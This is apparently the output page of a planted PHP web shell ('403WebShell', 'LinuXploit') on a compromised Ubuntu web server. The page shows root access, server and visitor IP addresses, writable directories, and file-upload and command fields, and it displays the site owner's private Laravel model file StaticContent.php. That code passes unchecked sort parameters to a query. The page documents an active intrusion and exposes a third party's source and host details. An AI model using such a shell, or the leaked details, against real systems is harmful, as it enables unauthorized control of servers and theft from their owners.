Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/app.machinox.in/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/app.machinox.in/app/Models/StaticContent.php
<?php

namespace App\Models;

use Exception;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Facades\DB;
use stdClass;

class StaticContent extends Model
{
    use HasFactory;
    /**
     * The attributes that are mass assignable.
     *
     * @var array
     */
    protected $fillable = ['uuid', 'title', 'description', 'status', 'updated_by_id', 'updated_by_id'];

    /**
     * The attributes that should be mutated to dates.
     *
     * @var array
     */
    protected $dates = ['created_at', 'updated_at'];


    public static function GetInfoById($id)
    {
        return self::where("id", $id)->first();
    }


    public static function ContentAlreadyExists($code)
    {
        return self::where("code", $code)->first();
    }


    public const PerPageRecord = 10;


    public static function SetInfo($request, $id = null)
    {
        $code = str_replace(' ', '_', $request->code);

        if (is_null($id)) {
            // Check for duplicate code
            $exists = self::ContentAlreadyExists($code);
            if ($exists) {
                throw new Exception(trans("messages.CODE_ALREADY_EXISTS"));
            }

            $info = new self;
            $messages = trans("messages.RECORD_ADDED_SUCCESSFULLY");
        } else {
            $info = self::GetInfoById($id);
            if (!$info) {
                throw new Exception(trans("messages.RECORD_NOT_FOUND"));
            }
            $messages = trans("messages.RECORD_UPDATED_SUCCESSFULLY");
        }

        $info->code = $code;
        $info->content = $request->content;

        $info->save();

        $res = new stdClass();
        $res->message = $messages;

        return $res;
    }

    public static function GetList($request)
    {
        $keyword = getValue($request->input('keyword'), "");
        $offset = getValue($request->input('offset'), 0);
        $sort_by = getValue($request->input('sort_by'), 'created_at');
        $sort_order = getValue($request->input('sort_order'), 'DESC');
        $url = config("constants.APP_URL");

        $query = self::select('id', 'code', DB::raw("CONCAT('$url', '/api/content/', code) as url"))
            ->when($keyword, function ($query) use ($keyword) {
                $query->where('code', 'like', '%' . $keyword . '%');
            })
            ->orderBy($sort_by, $sort_order);

        if (isset($offset)) {
            $query->offset($offset * self::PerPageRecord);
            $query->limit(self::PerPageRecord);
        }
        $data['count'] = count($query->get());
        $data['list'] = $query->get();
        $data['next_offset'] = ((count($data['list']) == self::PerPageRecord) ? (isset($offset) ? ((int) $offset + 1) : 0) : -1);
        return $data;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit